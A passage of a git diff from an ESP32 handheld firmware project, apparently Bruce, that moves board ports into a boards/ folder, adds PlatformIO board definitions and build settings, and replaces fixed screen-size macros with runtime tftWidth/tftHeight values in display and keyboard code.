tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor); resetTftDisplay(); return mytext; @@ -527,7 +531,7 @@ void checkReboot() { tft.setTextSize(1); tft.setTextColor(TFT_RED, TFT_BLACK); countDown = (millis() - time_count) / 1000 + 1; - if(countDown<4) tft.drawCentreString("PWR OFF IN "+String(countDown)+"/3",WIDTH/2,12,1); + if(countDown<4) tft.drawCentreString("PWR OFF IN "+String(countDown)+"/3",tftWidth/2,12,1); else { tft.fillScreen(TFT_BLACK); while(digitalRead(BK_BTN)==BTN_ACT); @@ -540,7 +544,7 @@ void checkReboot() { // Clear text after releasing the button delay(30); - tft.fillRect(60, 12, WIDTH - 60, tft.fontHeight(1), TFT_BLACK); + tft.fillRect(60, 12, tftWidth - 60, tft.fontHeight(1), TFT_BLACK); } #endif } diff --git a/boards/lilygo-t-embed.ini b/boards/lilygo-t-embed.ini new file mode 100644 index 00000000..a5614402 --- /dev/null +++ b/boards/lilygo-t-embed.ini @@ -0,0 +1,24 @@ +[env:lilygo-t-embed] +board = lilygo-t-embed +board_build.partitions = custom_16Mb.csv +build_src_filter =${env.build_src_filter} +<../boards/lilygo-t-embed-cc1101> +build_flags = + ${env.build_flags} + -Iboards/lilygo-t-embed-cc1101 + -Os + -DCORE_DEBUG_LEVEL=5 + -DREDRAW_DELAY=1 # Used to improve navigation on menus for this device + -DMIC_SPM1423 + + ;Infrared Led default pin and state + -DIR_TX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}' + -DIR_RX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}' + + ;Radio Frequency (one pin modules) pin setting + -DRF_TX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}' + -DRF_RX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}' + +lib_deps = + ${env.lib_deps} + lewisxhe/XPowersLib @0.2.6 + mathertel/RotaryEncoder @1.5.3 diff --git a/boards/lilygo-t-embed.json b/boards/lilygo-t-embed.json new file mode 100644 index 00000000..d2ac291a --- /dev/null +++ b/boards/lilygo-t-embed.json @@ -0,0 +1,64 @@ +{ + "build": { + "arduino": { + "ldscript": "esp32s3_out.ld", + "partitions": "default_16MB.csv", + "memory_type": "qio_opi" + }, + "core": "esp32", + "extra_flags": [ + "-DT_EMBED", + "-mfix-esp32-psram-cache-issue", + "-mfix-esp32-psram-cache-strategy=memw", + "-DBOARD_HAS_PSRAM", + "-DARDUINO_RUNNING_CORE=0", + "-DARDUINO_EVENT_RUNNING_CORE=0", + "-DARDUINO_USB_MODE=1", + "-DARDUINO_USB_CDC_ON_BOOT=1" + ], + "f_cpu": "240000000L", + "f_flash": "80000000L", + "flash_mode": "qio", + "hwids": [ + [ + "0x239A", + "0x811B" + ], + [ + "0x239A", + "0x011B" + ], + [ + "0x239A", + "0x811C" + ] + ], + "mcu": "esp32s3", + "variant": "pinouts" + }, + "connectivity": [ + "bluetooth", + "wifi" + ], + "debug": { + "default_tool": "esp-builtin", + "onboard_tools": [ + "esp-builtin" + ], + "openocd_target": "esp32s3.cfg" + }, + "frameworks": [ + "arduino", + "espidf" + ], + "name": "LilyGo T-Embed (16M Flash 8M QSPI PSRAM)", + "upload": { + "flash_size": "16MB", + "maximum_ram_size": 327680, + "maximum_size": 16777216, + "require_upload_port": true, + "speed": 460800 + }, + "url": "https://www.lilygo.cc", + "vendor": "LilyGo" +} diff --git a/ports/m5stack-cardputer/platformio.ini b/boards/m5stack-cardputer.ini similarity index 90% rename from ports/m5stack-cardputer/platformio.ini rename to boards/m5stack-cardputer.ini index 8a6dad60..59d4f487 100644 --- a/ports/m5stack-cardputer/platformio.ini +++ b/boards/m5stack-cardputer.ini @@ -9,18 +9,13 @@ ; https://docs.platformio.org/page/projectconf.html [env:m5stack-cardputer] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -board = m5stack-stamps3 -framework = arduino +board = m5stack-cardputer board_build.partitions = custom_8Mb.csv -build_src_filter =${env.build_src_filter} +<../ports/m5stack-cardputer> +build_src_filter =${env.build_src_filter} +<../boards/m5stack-cardputer> build_flags = ${env.build_flags} - -Iports/m5stack-cardputer + -Iboards/m5stack-cardputer -DCORE_DEBUG_LEVEL=5 - -DARDUINO_USB_CDC_ON_BOOT=1 - - -DCARDPUTER=1 ;Features Enabled ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility @@ -92,8 +87,6 @@ build_flags = ;Screen Setup -DHAS_SCREEN=1 -DROTATION=1 - -DWIDTH=240 - -DHEIGHT=135 -DBACKLIGHT=38 -DMINBRIGHT=160 diff --git a/boards/m5stack-cardputer.json b/boards/m5stack-cardputer.json new file mode 100644 index 00000000..45e7d1d0 --- /dev/null +++ b/boards/m5stack-cardputer.json @@ -0,0 +1,48 @@ +{ + "build": { + "arduino": { + "ldscript": "esp32s3_out.ld", + "partitions": "default_8MB.csv" + }, + "core": "esp32", + "extra_flags": [ + "-DARDUINO_M5STACK_CARDPUTER", + "-DARDUINO_USB_CDC_ON_BOOT=1", + "-DARDUINO_USB_MODE=1", + "-DARDUINO_RUNNING_CORE=1", + "-DARDUINO_EVENT_RUNNING_CORE=1" + ], + "f_cpu": "240000000L", + "f_flash": "80000000L", + "flash_mode": "qio", + "hwids": [ + [ + "0x303A", + "0x1001" + ] + ], + "mcu": "esp32s3", + "variant": "pinouts" + }, + "connectivity": [ + "bluetooth", + "wifi" + ], + "debug": { + "openocd_target": "esp32s3.cfg" + }, + "frameworks": [ + "arduino", + "espidf" + ], + "name": "M5Stack Cardputer", + "upload": { + "flash_size": "8MB", + "maximum_ram_size": 327680, + "maximum_size": 8388608, + "require_upload_port": true, + "speed": 460800 + }, + "url": "https://docs.m5stack.com/en/core/StampS3", + "vendor": "M5Stack" + } \ No newline at end of file diff --git a/ports/m5stack-cardputer/interface.cpp b/boards/m5stack-cardputer/interface.cpp similarity index 96% rename from ports/m5stack-cardputer/interface.cpp rename to boards/m5stack-cardputer/interface.cpp index 4905a80b..2f9dd734 100644 --- a/ports/m5stack-cardputer/interface.cpp +++ b/boards/m5stack-cardputer/interface.cpp @@ -54,12 +54,11 @@ int getBattery() { ** set brightness value **********************************************************************/ void _setBrightness(uint8_t brightval) { - if(brightval>100) brightval=100; - if(brightval == 0){ - analogWrite(BACKLIGHT, brightval); + if(brightval == 0){ + analogWrite(TFT_BL, brightval); } else { - int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval/100 )); - analogWrite(BACKLIGHT, bl); + int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval /100 )); + analogWrite(TFT_BL, bl); } } @@ -225,8 +224,8 @@ String keyboard(String mytext, int maxSize, String msg) { { '/', '/' } //12 } }; - int _x = WIDTH/12; - int _y = (HEIGHT - 54)/4; + int _x = tftWidth/12; + int _y = (tftHeight - 54)/4; int _xo = _x/2-3; int i=0; @@ -244,12 +243,12 @@ String keyboard(String mytext, int maxSize, String msg) { //Draw the rectangles if(y<0) { - tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor); + tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor); tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); } @@ -279,7 +278,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.setTextSize(FM); // reseta o quadrado do texto - if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle + if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle // escreve o texto tft.setTextColor(TFT_WHITE); if(mytext.length()>19) { @@ -295,7 +294,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.drawString(mytext, 5, 34); } //desenha o retangulo colorido - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle tft.setTextColor(TFT_WHITE, bruceConfig.bgColor); @@ -391,7 +390,7 @@ String keyboard(String mytext, int maxSize, String msg) { } //Resets screen when finished writing - tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor); + tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor); resetTftDisplay(); return mytext; diff --git a/ports/m5stack-core/platformio.ini b/boards/m5stack-core.ini similarity index 84% rename from ports/m5stack-core/platformio.ini rename to boards/m5stack-core.ini index 55ea1557..4c44e211 100644 --- a/ports/m5stack-core/platformio.ini +++ b/boards/m5stack-core.ini @@ -9,24 +9,15 @@ ; https://docs.platformio.org/page/projectconf.html [m5stack-core_base] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -board = m5stack-core-esp32 -framework = arduino +board = m5stack-core monitor_speed = 115200 board_build.partitions = custom_4Mb_full.csv -build_src_filter =${env.build_src_filter} +<../ports/m5stack-core> +build_src_filter =${env.build_src_filter} +<../boards/m5stack-core> build_flags = ${env.build_flags} - -Iports/m5stack-core + -Iboards/m5stack-core -DCORE_DEBUG_LEVEL=5 - -DM5STACK=1 ;key for new device, - -DCORE=1 ;mykeyboard.cpp: need map buttons an/or touchscreen, - ;display.cpp: need map battery status value, - ;settings.cpp: need map brighness control - ;main.cpp: need set startup - ;serialcmds.cpp: need set power off command - ;Features Enabled ;FM Radio ;-DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713 @@ -93,8 +84,6 @@ build_flags = ;Screen Setup -DHAS_SCREEN=1 -DROTATION=1 - -DWIDTH=320 - -DHEIGHT=220 ;240 - 50 for bottom margin ;-DBACKLIGHT=38 ;-DMINBRIGHT=160 diff --git a/boards/m5stack-core.json b/boards/m5stack-core.json new file mode 100644 index 00000000..dff39bbd --- /dev/null +++ b/boards/m5stack-core.json @@ -0,0 +1,34 @@ +{ + "build": { + "arduino":{ + "ldscript": "esp32_out.ld" + }, + "core": "esp32", + "extra_flags": ["-DARDUINO_M5STACK_CORE", "-DM5STACK"], + "f_cpu": "240000000L", + "f_flash": "80000000L", + "flash_mode": "qio", + "mcu": "esp32", + "variant": "pinouts" + }, + "connectivity": [ + "wifi", + "bluetooth", + "ethernet", + "can" + ], + "frameworks": [ + "arduino", + "espidf" + ], + "name": "M5Stack Core ESP32", + "upload": { + "flash_size": "4MB", + "maximum_ram_size": 327680, + "maximum_size": 4194304, + "require_upload_port": true, + "speed": 460800 + }, + "url": "http://www.m5stack.com", + "vendor": "M5Stack" + } \ No newline at end of file diff --git a/ports/m5stack-core/interface.cpp b/boards/m5stack-core/interface.cpp similarity index 95% rename from ports/m5stack-core/interface.cpp rename to boards/m5stack-core/interface.cpp index 02cf629a..0f7f6c30 100644 --- a/ports/m5stack-core/interface.cpp +++ b/boards/m5stack-core/interface.cpp @@ -204,8 +204,8 @@ String keyboard(String mytext, int maxSize, String msg) { { '/', '/' } //12 } }; - int _x = WIDTH/12; - int _y = (HEIGHT - 54)/4; + int _x = tftWidth/12; + int _y = (tftHeight - 54)/4; int _xo = _x/2-3; int i=0; @@ -223,12 +223,12 @@ String keyboard(String mytext, int maxSize, String msg) { //Draw the rectangles if(y<0) { - tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor); + tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor); tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); } @@ -258,7 +258,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.setTextSize(FM); // reseta o quadrado do texto - if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle + if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle // escreve o texto tft.setTextColor(TFT_WHITE); if(mytext.length()>19) { @@ -274,7 +274,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.drawString(mytext, 5, 34); } //desenha o retangulo colorido - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle tft.setTextColor(TFT_WHITE, bruceConfig.bgColor); @@ -382,7 +382,7 @@ String keyboard(String mytext, int maxSize, String msg) { } //Resets screen when finished writing - tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor); + tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor); resetTftDisplay(); return mytext; diff --git a/ports/m5stack-core2/platformio.ini b/boards/m5stack-core2.ini similarity index 83% rename from ports/m5stack-core2/platformio.ini rename to boards/m5stack-core2.ini index d8e28880..93ff51ea 100644 --- a/ports/m5stack-core2/platformio.ini +++ b/boards/m5stack-core2.ini @@ -9,10 +9,7 @@ ; https://docs.platformio.org/page/projectconf.html [env:m5stack-core2] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -;board = m5stick-c board = m5stack-core2 -framework = arduino monitor_speed = 115200 board_build.partitions = custom_16Mb.csv board_build.f_flash = 40000000L @@ -20,19 +17,12 @@ board_upload.flash_size = 16MB board_upload.maximum_size = 16777216 ;board_upload.maximum_ram_size=532480 ;board_upload.maximum_ram_size=4521984 -build_src_filter =${env.build_src_filter} +<../ports/m5stack-core2> +build_src_filter =${env.build_src_filter} +<../boards/m5stack-core2> build_flags = ${env.build_flags} - -Iports/m5stack-core2 + -Iboards/m5stack-core2 -DCORE_DEBUG_LEVEL=5 - -DM5STACK=1 ;key for new device, - -DCORE2=1 ;mykeyboard.cpp: need map buttons an/or touchscreen, - ;display.cpp: need map battery status value, - ;settings.cpp: need map brighness control - ;main.cpp: need set startup - ;serialcmds.cpp: need set power off command - ;Features Enabled ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility ;FM Radio @@ -99,8 +89,6 @@ build_flags = ;Screen Setup -DHAS_SCREEN=1 -DROTATION=1 - -DWIDTH=320 - -DHEIGHT=220 ;240 - 50 for bottom margin ;-DBACKLIGHT=38 ;-DMINBRIGHT=160 diff --git a/boards/m5stack-core2.json b/boards/m5stack-core2.json new file mode 100644 index 00000000..48b809e8 --- /dev/null +++ b/boards/m5stack-core2.json @@ -0,0 +1,41 @@ +{ + "build": { + "arduino": { + "ldscript": "esp32_out.ld", + "partitions": "default_16MB.csv" + }, + "core": "esp32", + "extra_flags": [ + "-mfix-esp32-psram-cache-issue", + "-mfix-esp32-psram-cache-strategy=memw", + "-DARDUINO_M5STACK_CORE2", + "-DM5STACK", + "-DBOARD_HAS_PSRAM" + ], + "f_cpu": "240000000L", + "f_flash": "40000000L", + "flash_mode": "dio", + "mcu": "esp32", + "variant": "pinouts" + }, + "connectivity": [ + "wifi", + "bluetooth", + "ethernet", + "can" + ], + "frameworks": [ + "arduino", + "espidf" + ], + "name": "M5Stack Core2", + "upload": { + "flash_size": "16MB", + "maximum_ram_size": 4521984, + "maximum_size": 16777216, + "require_upload_port": true, + "speed": 460800 + }, + "url": "http://www.m5stack.com", + "vendor": "M5Stack" +} diff --git a/ports/m5stack-core2/interface.cpp b/boards/m5stack-core2/interface.cpp similarity index 95% rename from ports/m5stack-core2/interface.cpp rename to boards/m5stack-core2/interface.cpp index 99a7a5d6..1465d95a 100644 --- a/ports/m5stack-core2/interface.cpp +++ b/boards/m5stack-core2/interface.cpp @@ -239,8 +239,8 @@ String keyboard(String mytext, int maxSize, String msg) { { '/', '/' } //12 } }; - int _x = WIDTH/12; - int _y = (HEIGHT - 54)/4; + int _x = tftWidth/12; + int _y = (tftHeight - 54)/4; int _xo = _x/2-3; int k=0; @@ -289,7 +289,7 @@ String keyboard(String mytext, int maxSize, String msg) { box_list[k].color = ~bruceConfig.bgColor; box_list[k].x=159; box_list[k].y=0; - box_list[k].w=WIDTH-164; + box_list[k].w=tftWidth-164; box_list[k].h=22; k=0; @@ -312,12 +312,12 @@ String keyboard(String mytext, int maxSize, String msg) { //Draw the rectangles if(y<0) { - tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor); + tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor); tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); } @@ -347,7 +347,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.setTextSize(FM); // reseta o quadrado do texto - if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle + if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle // escreve o texto tft.setTextColor(TFT_WHITE); if(mytext.length()>19) { @@ -363,7 +363,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.drawString(mytext, 5, 34); } //desenha o retangulo colorido - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle tft.setTextColor(TFT_WHITE, bruceConfig.bgColor); @@ -420,7 +420,7 @@ String keyboard(String mytext, int maxSize, String msg) { if (t.isPressed() || t.isHolding()) { if (box_list[48].contain(t.x, t.y)) { break; } // Ok - if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,WIDTH,HEIGHT-54,bruceConfig.bgColor); goto THIS_END; } // CAP + if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,tftWidth,tftHeight-54,bruceConfig.bgColor); goto THIS_END; } // CAP if (box_list[50].contain(t.x, t.y)) goto DEL; // DEL if (box_list[51].contain(t.x, t.y)) { mytext += box_list[51].key; goto ADD; } // SPACE for(k=0;k<48;k++){ @@ -491,7 +491,7 @@ String keyboard(String mytext, int maxSize, String msg) { } //Resets screen when finished writing - tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor); + tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor); resetTftDisplay(); return mytext; diff --git a/boards/m5stack-cores3.ini b/boards/m5stack-cores3.ini new file mode 100644 index 00000000..95d6fe73 --- /dev/null +++ b/boards/m5stack-cores3.ini @@ -0,0 +1,28 @@ +; PlatformIO Project Configuration File +; +; Build options: build flags, source filter +; Upload options: custom upload port, speed and extra flags +; Library options: dependencies, extra library storages +; Advanced options: extra scripting +; +; Please visit documentation for the other options and examples +; https://docs.platformio.org/page/projectconf.html + +[env:m5stack-cores3] +board = m5stack-cores3 +monitor_speed = 115200 +board_build.partitions = custom_16Mb.csv +board_upload.flash_size = 16MB +board_upload.maximum_size = 16777216 +build_src_filter =${env.build_src_filter} +<../boards/m5stack-cores3> +build_flags = + ${env.build_flags} + -Os + -Iboards/m5stack-cores3 + -DIR_TX_PINS='{{"M5 IR Mod", GROVE_SDA}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}' + -DIR_RX_PINS='{{"M5 IR Mod", GROVE_SCL}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}' + -DRF_TX_PINS='{{"M5 RF433T", GROVE_SDA}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}' + -DRF_RX_PINS='{{"M5 RF433R", GROVE_SCL}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}' +lib_deps = + ${env.lib_deps} + diff --git a/boards/m5stack-cores3.json b/boards/m5stack-cores3.json new file mode 100644 index 00000000..b5ad3b57 --- /dev/null +++ b/boards/m5stack-cores3.json @@ -0,0 +1,52 @@ +{ + "build": { + "arduino": { + "ldscript": "esp32s3_out.ld", + "partitions": "default_16MB.csv" + }, + "core": "esp32", + "extra_flags": [ + "-mfix-esp32-psram-cache-issue", + "-mfix-esp32-psram-cache-strategy=memw", + "-DARDUINO_M5STACK_CORES3", + "-DM5STACK", + "-DBOARD_HAS_PSRAM", + "-DARDUINO_USB_MODE=1", + "-DARDUINO_USB_CDC_ON_BOOT=1", + "-DARDUINO_RUNNING_CORE=1", + "-DARDUINO_EVENT_RUNNING_CORE=1" + ], + "f_cpu": "240000000L", + "f_flash": "80000000L", + "flash_mode": "qio", + "hwids": [ + [ + "0x303A", + "0x8119" + ] + ], + "mcu": "esp32s3", + "variant": "pinouts" + }, + "connectivity": [ + "bluetooth", + "wifi" + ], + "debug": { + "openocd_target": "esp32s3.cfg" + }, + "frameworks": [ + "arduino", + "espidf" + ], + "name": "M5Stack CoreS3", + "upload": { + "flash_size": "16MB", + "maximum_ram_size": 327680, + "maximum_size": 16777216, + "require_upload_port": true, + "speed": 921600 + }, + "url": "https://docs.m5stack.com/en/core/CoreS3", + "vendor": "M5Stack" +} \ No newline at end of file diff --git a/ports/m5stack-cores3/interface.cpp b/boards/m5stack-cores3/interface.cpp similarity index 94% rename from ports/m5stack-cores3/interface.cpp rename to boards/m5stack-cores3/interface.cpp index 0798d9f7..85f42dfb 100644 --- a/ports/m5stack-cores3/interface.cpp +++ b/boards/m5stack-cores3/interface.cpp @@ -43,19 +43,15 @@ void _setBrightness(uint8_t brightval) { #define NEXT 2 #define ALL 3 bool menuPress(int bot) { - //0 - prev - //1 - Sel - //2 - next - //3 - any - int terco=WIDTH/3; + int terco=tftWidth/3; M5.update(); auto t = M5.Touch.getDetail(); if (t.isPressed() || t.isHolding()) { - //if(bruceConfig.rotation==3) t.x = WIDTH-t.x; - //else if (bruceConfig.rotation==1) t.y = (HEIGHT+20)-t.y; - if(t.y>(HEIGHT) && (t.x>terco*bot && t.x(tftHeight) && (t.x>terco*bot && t.x19) { @@ -381,7 +377,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.drawString(mytext, 5, 34); } //desenha o retangulo colorido - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle tft.setTextColor(TFT_WHITE, bruceConfig.bgColor); @@ -435,7 +431,7 @@ String keyboard(String mytext, int maxSize, String msg) { { if (box_list[48].contain(t.x, t.y)) { break; } // Ok - if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,WIDTH,HEIGHT-54,bruceConfig.bgColor); goto THIS_END; } // CAP + if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,tftWidth,tftHeight-54,bruceConfig.bgColor); goto THIS_END; } // CAP if (box_list[50].contain(t.x, t.y)) goto DEL; // DEL if (box_list[51].contain(t.x, t.y)) { mytext += box_list[51].key; goto ADD; } // SPACE for(k=0;k<48;k++){ @@ -505,7 +501,7 @@ String keyboard(String mytext, int maxSize, String msg) { } //Resets screen when finished writing - tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor); + tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor); resetTftDisplay(); return mytext; diff --git a/ports/m5stack-cplus1_1/platformio.ini b/boards/m5stack-cplus1_1.ini similarity index 92% rename from ports/m5stack-cplus1_1/platformio.ini rename to boards/m5stack-cplus1_1.ini index d836e199..7282480c 100644 --- a/ports/m5stack-cplus1_1/platformio.ini +++ b/boards/m5stack-cplus1_1.ini @@ -9,16 +9,13 @@ ; https://docs.platformio.org/page/projectconf.html [env:m5stack-cplus1_1] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -board = m5stick-c -framework = arduino +board = m5stack-cplus1_1 board_build.partitions = custom_4Mb_full.csv -build_src_filter =${env.build_src_filter} +<../ports/m5stack-cplus1_1> +build_src_filter =${env.build_src_filter} +<../boards/m5stack-cplus1_1> build_flags = ${env.build_flags} - -Iports/m5stack-cplus1_1 + -Iboards/m5stack-cplus1_1 -Os - -DSTICK_C_PLUS=1 ;Features Enabled ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility @@ -94,8 +91,6 @@ build_flags = ;Screen Setup -DHAS_SCREEN=1 -DROTATION=3 - -DWIDTH=240 - -DHEIGHT=135 ;TFT_eSPI Setup -DUSER_SETUP_LOADED=1 diff --git a/boards/m5stack-cplus1_1.json b/boards/m5stack-cplus1_1.json new file mode 100644 index 00000000..037fba13 --- /dev/null +++ b/boards/m5stack-cplus1_1.json @@ -0,0 +1,36 @@ +{ + "build": { + "arduino": { + "ldscript": "esp32_out.ld" + }, + "core": "esp32", + "extra_flags": [ + "-DARDUINO_M5STICK_C_PLUS" + ], + "f_cpu": "240000000L", + "f_flash": "40000000L", + "flash_mode": "dio", + "mcu": "esp32", + "variant": "pinouts" + }, + "connectivity": [ + "wifi", + "bluetooth", + "ethernet", + "can" + ], + "frameworks": [ + "arduino", + "espidf" + ], + "name": "M5Stick-C", + "upload": { + "flash_size": "4MB", + "maximum_ram_size": 327680, + "maximum_size": 4194304, + "require_upload_port": true, + "speed": 1500000 + }, + "url": "http://www.m5stack.com", + "vendor": "M5Stack" +} \ No newline at end of file diff --git a/ports/m5stack-cplus1_1/interface.cpp b/boards/m5stack-cplus1_1/interface.cpp similarity index 94% rename from ports/m5stack-cplus1_1/interface.cpp rename to boards/m5stack-cplus1_1/interface.cpp index ac876d22..5e67a425 100644 --- a/ports/m5stack-cplus1_1/interface.cpp +++ b/boards/m5stack-cplus1_1/interface.cpp @@ -165,8 +165,8 @@ String keyboard(String mytext, int maxSize, String msg) { { '/', '/' } //12 } }; - int _x = WIDTH/12; - int _y = (HEIGHT - 54)/4; + int _x = tftWidth/12; + int _y = (tftHeight - 54)/4; int _xo = _x/2-3; int i=0; @@ -184,12 +184,12 @@ String keyboard(String mytext, int maxSize, String msg) { //Draw the rectangles if(y<0) { - tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor); + tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor); tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); } @@ -219,7 +219,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.setTextSize(FM); // reseta o quadrado do texto - if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle + if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle // escreve o texto tft.setTextColor(TFT_WHITE); if(mytext.length()>19) { @@ -235,7 +235,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.drawString(mytext, 5, 34); } //desenha o retangulo colorido - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle tft.setTextColor(TFT_WHITE, bruceConfig.bgColor); @@ -341,7 +341,7 @@ String keyboard(String mytext, int maxSize, String msg) { } //Resets screen when finished writing - tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor); + tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor); resetTftDisplay(); return mytext; @@ -371,6 +371,6 @@ void checkReboot() { } // Clear text after releasing the button delay(30); - tft.fillRect(60, 12, WIDTH - 60, tft.fontHeight(1), TFT_BLACK); + tft.fillRect(60, 12, tftWidth - 60, tft.fontHeight(1), TFT_BLACK); } } diff --git a/ports/m5stack-cplus2/platformio.ini b/boards/m5stack-cplus2.ini similarity index 81% rename from 